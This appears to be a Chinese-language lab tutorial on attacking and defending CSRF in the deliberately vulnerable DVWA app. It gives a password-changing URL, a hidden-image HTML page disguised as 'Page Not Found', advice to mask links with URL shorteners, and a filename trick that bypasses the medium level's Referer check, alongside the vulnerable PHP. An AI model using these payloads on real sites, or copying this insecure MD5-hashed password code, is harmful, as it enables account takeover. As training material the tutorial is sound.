DVWA CSRF的攻击与防护

DVWA CSRF的攻击与防护

低安全防护

在这个代码下, 完全无任何CSRF的安全防护, 因此黑客可以透过下列URL让使用者更换密码, 只要是使用者在登入的状态下, 点下列的URL都会被更改密码

http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#

一般黑客攻击的情况下, 我们会进一步利用短网址来伪装

<?php 

if( isset( $_GET[ 'Change' ] ) ) { 
    // Get input 
    $pass_new  = $_GET[ 'password_new' ]; 
    $pass_conf = $_GET[ 'password_conf' ]; 

    // Do the passwords match? 
    if( $pass_new == $pass_conf ) { 
        // They do! 
        $pass_new = mysql_real_escape_string( $pass_new ); 
        $pass_new = md5( $pass_new ); 

        // Update the database 
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; 
        $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' ); 

        // Feedback for the user 
        echo "<pre>Password Changed.</pre>"; 
    } 
    else { 
        // Issue with passwords matching 
        echo "<pre>Passwords did not match.</pre>"; 
    } 

    mysql_close(); 
} 

?>

另外我们也可以透过页面的构造来引诱使用者点击, 建立一个 CSRF_Test.html范例如下

<img src="http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#" border="0" style="display:none;"/>

<h2>Page Not Found.<h2>

中级安全

这个安全防护检查 HTTP_REFERER , 因此我们只要将 CSRF_Test.html 改为 127.0.0.1.html 就可以绕过该检查

<?php 

if( isset( $_GET[ 'Change' ] ) ) { 
    // Checks to see where the request came from 
    if( eregi( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] ) ) { 
        // Get input 
        $pass_new  = $_GET[ 'password_new' ]; 
        $pass_conf = $_GET[ 'password_conf' ]; 

        // Do the passwords match? 
        if( $pass_new == $pass_conf ) { 
            // They do! 
            $pass_new = mysql_real_escape_string( $pass_new ); 
            $pass_new = md5( $pass_new ); 

            // Update the database 
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; 
            $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' ); 

            // Feedback for the user 
            echo "<pre>Password Changed.</pre>"; 
        } 
        else { 
            // Issue with passwords matching 
            echo "<pre>Passwords did not match.</pre>"; 
        } 
    } 
    else { 
        // Didn't come from a trusted source 
        echo "<pre>That request didn't look correct.</pre>"; 
    } 

    mysql_close(); 
} 

?>